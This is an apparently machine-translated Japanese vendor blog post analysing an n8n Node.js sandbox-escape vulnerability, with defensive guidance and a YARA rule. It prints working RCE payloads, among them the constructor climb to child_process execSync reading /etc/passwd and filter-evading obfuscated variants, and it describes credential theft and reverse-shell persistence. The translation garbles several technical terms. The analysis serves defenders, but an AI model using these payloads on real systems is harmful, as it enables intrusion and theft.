ペンリジェント・ヘッダー

CVE-2025-68613ディープダイブ:Node.jsサンドボックスのエスケープがn8nワークフローエンジンをどのように打ち砕くか

2025年の終わりに、DevSecOpsのコミュニティは、次のような情報公開によって動揺した。 CVE-2025-68613の最大CVSSスコアを持つ重大な脆弱性である。 10.0.目標は n8n世界で最も人気のあるオープンソースのワークフロー自動化ツールで、何千もの企業の中枢神経系として、CRM、データベース、クラウドインフラストラクチャ間のデータをオーケストレーションしている。

エリート・セキュリティ・エンジニアにとって、これを「ローコードの脆弱性」として片付けるのは間違いだ。CVE-2025-68613は、最新のJavaScript悪用のマスタークラスだ。この脆弱性は Node.js動的ランタイム欠陥がある場合 オブジェクト能力モデル そして プロトタイプ汚染 テクニックを武器にすることで、無害なオートメーション・プラットフォームをルートレベルのビーチヘッドに変えることができる。

この記事では、表面的な報道をやめて、サンドボックスのエスケーププリミティブや、"team "の失敗をバイトレベルで解剖する。 ブイエム モジュールと、AI主導のロジック分析がブルー・チームのゲームをどのように変えるのか。

失敗のアーキテクチャ:なぜNode.jsなのか? ブイエム モジュール・ブレイク

悪用を理解するためには、まず環境を理解する必要がある。n8nでは、ユーザーはJavaScriptの式を使用してデータを操作することができる。 {{ }} の構文を使用します。この信頼されていないユーザーコードを実行するために、n8n(バージョン1.122.0以前)はネイティブのNode.jsの ブイエム モジュールである。

について ブイエム モジュールは、V8仮想マシン・コンテキスト内でコードをコンパイルして実行するためのAPIを提供する。実行コードのグローバルスコープとして動作するコンテキスト化されたオブジェクトである "サンドボックス "を作成することができます。

安全」という幻想

の前提 vm.runInNewContext(code, sandbox) というのは、内部のコードが外部のオブジェクトにアクセスできないからです。 サンドボックス オブジェクトがある。

  • 理論だ: 砂場は島だ。
  • 現実だ: 島は本土と橋でつながっている(プロトタイプ・チェーン)。

ホスト・アプリケーションが いずれも オブジェクトをサンドボックスに入れる(例えば、環境変数を プロセス.env またはユーティリティ関数を介して ヘルパー オブジェクト)への参照を含む場合、分離が損なわれます。n8nの場合、実行コンテキストにはワークフロー・データへの参照が含まれており、ホスト環境のオブジェクト・グラフに暗黙的にリンクしていました。

主な技術的収穫: Node.js ブイエム モジュールは ない セキュリティ・メカニズムである。これはスコープ・メカニズムである。Node.jsのドキュメントが明確に警告している: 「信頼できないコードを実行するために使用しないでください。 CVE-2025-68613は、この警告を無視した直接の結果である。

Node.jsサンドボックス

エクスプロイトの解剖:プロトタイプチェーンからRCEまで

CVE-2025-68613のエクスプロイト・プリミティブは、JavaScriptのプロトタイプ・チェーンをトラバースして ブイエム コンテキストにアクセスし、ホストの 機能 コンストラクタを使用する。

コンストラクター」クライミング・テクニック

JavaScriptでは、オブジェクトはプロトタイプからプロパティを継承する。

  1. これ:n8n式の内側、 これ はサンドボックスコンテキストオブジェクトを指す。
  2. このコンストラクタ:コンテキストオブジェクトを生成した関数を指す。ほとんどの ブイエム の実装では、これは 対象 コンストラクタ 内部 砂場だ。
  3. this.constructor.コンストラクタ:ここに裂け目がある。なぜなら 対象 サンドボックス内のコンストラクタは、最終的にV8エンジンのプリミティブから派生しているため、そのコンストラクタを走査すると、しばしば ホスト環境の 機能 コンストラクタを使用する。

いったん攻撃者がホストの 機能 コンストラクタを使用すると、実質的に eval() サンドボックスの外のホストのコンテキストで実行されるものと同等である。

キル・チェーン・コード

基本的なフィルターを迂回するように設計された兵器化されたペイロードのロジックを分解してみよう。

ジャバスクリプト

`// Step 1: サンドボックスから脱出する // Foreign Functionコンストラクタ(ホストコンテキスト)にアクセスする const ForeignFunction = this.constructor.constructor;

// ステップ2:ギャップを埋める // Foreign Functionを使って、'process'オブジェクトを返すクロージャを作成する。// const getProcess = ForeignFunction('return process');

// ステップ3:実行 // グローバル・プロセス・ハンドルを取得する関数を実行します。 const proc = getProcess();

// ステップ4:機能のインポート // process.mainModuleを使って内部モジュール・ローダーにアクセスする;

// ステップ 5: 武器化 // 'child_process' をロードし、シェルコマンドを実行する。 const result = require('child_process').execSync('cat /etc/passwd').toString();`.

n8nワークフローのコンテキストでは、このチェーン全体が最小化され、"Set "ノード変数やHTTPリクエストヘッダ値などの正当な式フィールドに注入される。

高度な回避:静的解析を回避する

CVE-2025-68613が民間のバグバウンティサークルで最初に囁かれたとき、一部の管理者はWAFルールや、次のようなキーワードをブロックする正規表現フィルタを使用して、この問題を軽減しようとしました。 プロセス, コンストラクタあるいは 必要.

JavaScriptのような動的言語では、静的フィルタリングを回避するのは些細なことだ。

テクニックA:文字列の算術演算とエンコーディング

攻撃者は、文字列の連結やASCII文字コードを使って、実行時に禁止キーワードを再構築することができる。

ジャバスクリプト

`{{ // "コンストラクタ "と "プロセス "の正規表現フィルタをバイパスする (() => { const c = "con" + "structor"; const p = "pro" + "cess";

// ドット記法の代わりに配列アクセス記法を使用
const foreignFunc = this[c][c];
const proc = foreignFunc("return " + p)();

return proc.mainModule.require("child_process").execSync("id").toString();

})() }}`

手法 B: Reflect API とプロキシの難読化

高度なエクスプロイトは、次のようなものを利用する。 リフレクト API を使用することで、直接名前を指定することなくプロパティを検査したり呼び出したりすることができるため、従来のセキュリティー・ツールでは抽象構文木(AST)解析が大幅に難しくなっている。

ジャバスクリプト

`{{ // Reflectを使って、名前を付けずにコンストラクタを動的に見つける const keys = Reflect.ownKeys(this.プロト); const consKey = keys.find(k => k.toString().charCodeAt(0) == 99); // 'c'.

const ForeignFunction = Reflect.get(this, consKey)[consKey];
// RCEに進む...

}}`

これは、パターンマッチングがインタプリタ型言語の論理的脆弱性に対して根本的な欠陥があることを示している。

ポスト搾取:究極のC2ピボットとしてのn8n

n8nインスタンスでRCEを獲得することは、標準的なウェブサーバーを危険にさらすよりも価値がある場合が多い。

1.クレデンシャル・ボールト

n8nは、接続されたサービス(AWS、Stripe、Salesforce、PostgreSQL)の認証情報を内部データベース(デフォルトはSQLite)に保存します。 ~/.n8n/database.sqlite).これらが暗号化されている間、RCEによって攻撃者は以下のことが可能になる:

  1. 環境変数(n8n_encryption_keyまたは コンフィグ ファイル。
  2. クレデンシャル・ストア全体を復号化する。
  3. 有効で高い特権を持つキーを使って、クラウドインフラに横方向にピボットする。

2.ファイルレス永続性

従来のマルウェアはディスク上にバイナリをドロップし、EDR(エンドポイント検出・応答)ソリューションはこれをスキャンすることができる。

n8nでは、攻撃者は「シャドウ・ワークフロー」を作成することができる:

  • トリガー: 10分ごとに実行するように設定された "Cron "ノード。
  • アクション 悪意のあるJavaScript(リバースシェルやデータ流出スクリプトなど)を実行する「Function」ノード。
  • ストレージ: マルウェアは存在する のみ をJSONオブジェクトとしてn8nデータベースに保存します。それは ファイルレス永続的で、正当なビジネスロジックに溶け込む。

AIによる論理検出:ペンリゲントの優位性

CVE-2025-68613の検出は、従来のDAST(ダイナミック・アプリケーション・セキュリティ・テスト)スキャナにとっては悪夢だ。

  • 問題だ: スキャナーは "ブラインド・ファジング "に依存している。彼らは次のようなペイロードを送る。 OR 1=1 --」。 または alert(1).エクスプレッション・エンジンに対しては、これらのペイロードは単にシンタックス・ エラーを引き起こすだけである。ワークフローは失敗し、スキャナは "Clean "と報告する。
  • ロジックのギャップ これを検知するためには、ツールは次のことを理解しなければならない。 JavaScriptの構文 そして ワークフローコンテキスト.

そこで ペンリジェント はパラダイムシフトを象徴している。ペンリジェントは コンテキストを意識したAIエージェント 意味解析を行う:

  1. 構文ファジング: ペンリジェントの代理店は {{ }} 構文をコード注入ポイントとして使用します。ランダムな文字列の代わりに、エージェントは有効なJavaScriptオブジェクトを構築します。
  2. オブジェクト・ケイパビリティ・プロービング: エージェントは、サンドボックスの境界をテストするために安全なプローブを注入する(例. {{ this.constructor.name}}。).出力を分析する。もし "Object "か "Function "が見つかれば、プロトタイプ・チェインが無傷であると推測する。
  3. 難読化の変異: プローブがブロックされた場合(例えば「アクセスが拒否されました」)、PenligentのAIは前述の回避技術(文字列算術、Reflect API)を使ってペイロードを自動的にリファクタリングし、ブロックが単に表面的なものであるかどうかを検証します。

Penligentは、人間の研究者による反復的な方法論をシミュレートすることで、以下のことを検証します。 エクスプロイト性 ロジックの、偽陽性ではなく概念実証(PoC)を提供する。

ブルーチーム・ハンドブック探知と防御

ブルーチームにとって、CVE-2025-68613を緩和するには、アプリケーションレイヤーが侵入される可能性を想定した深層防御戦略が必要である。

1.ネットワーク署名(YARA/Snort)

ペイロードの暗号化によってネットワークの検出が難しくなる一方で、多くの攻撃者はデフォルトのペイロードを使用する。への HTTP POST リクエストを監視する。 /休憩/ワークフロー 疑わしいJavaScriptのパターンを含む。

YARAルールの例:

rule DETECT_N8N_EXPRESSION_INJECTION { meta: description = "n8n (CVE-2025-68613) における JS サンドボックスエスケープの試みを検出" severity = "Critical" strings:$token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" 条件:$token_startと($js_*)の2つ)}

2.建築ハードニング

  • コンテナ化: 決してrootとしてn8nを実行しないでください。読み取り専用のファイルシステムでルートレスのDockerコンテナを使いましょう。
  • キャップドロップ でコンテナを実行する。 -キャップドロップ=ALL を使用して、RCE 後でも特権の昇格を防ぐことができます。
  • エグレス・フィルタリング: Kubernetes Network PoliciesまたはAWS Security Groupsを設定して、ワークフローに必要なホワイトリストのAPIを除き、n8nコンテナからのすべてのアウトバウンドトラフィックをブロックする。これにより、リバースシェル接続が停止する。

3.環境ロックダウン

環境変数を設定する N8N_BLOCK_ENV_ACCESS_IN_NODE=true.後のバージョンで導入されたこの機能は、次のようなアクセスをブロックしようとします。 プロセス.env コード実行が達成されたとしても、ノード内部からのクレデンシャル盗難を軽減する。

結論暗黙の信頼の終焉

CVE-2025-68613は、ローコードプラットフォームのセキュリティの分水嶺となる。それは、次のことを思い出させてくれる。 柔軟性は安全性の敵.JavaScriptのようなチューリング完全言語のパワーをユーザーに与えてデータを操作させるということは、アプリケーションのカーネルにユーザーを招き入れるということだ。

セキュアな自動化の未来は、「より優れた正規表現フィルター」や「パッチを適用した自動化」にあるのではない。 ブイエム モジュール "のような建築的分離技術では、"モジュール "ではなく、"モジュール "である。 WebAssembly(ワズム) または V8アイソレート真のメモリーセーフ・サンドボックスを提供する。それまでは、厳格なパッチ適用、AI主導のテスト、積極的なネットワーク・セグメンテーションが唯一の防御策となる。

信頼できる参考文献

記事を共有する
関連記事
jaJapanese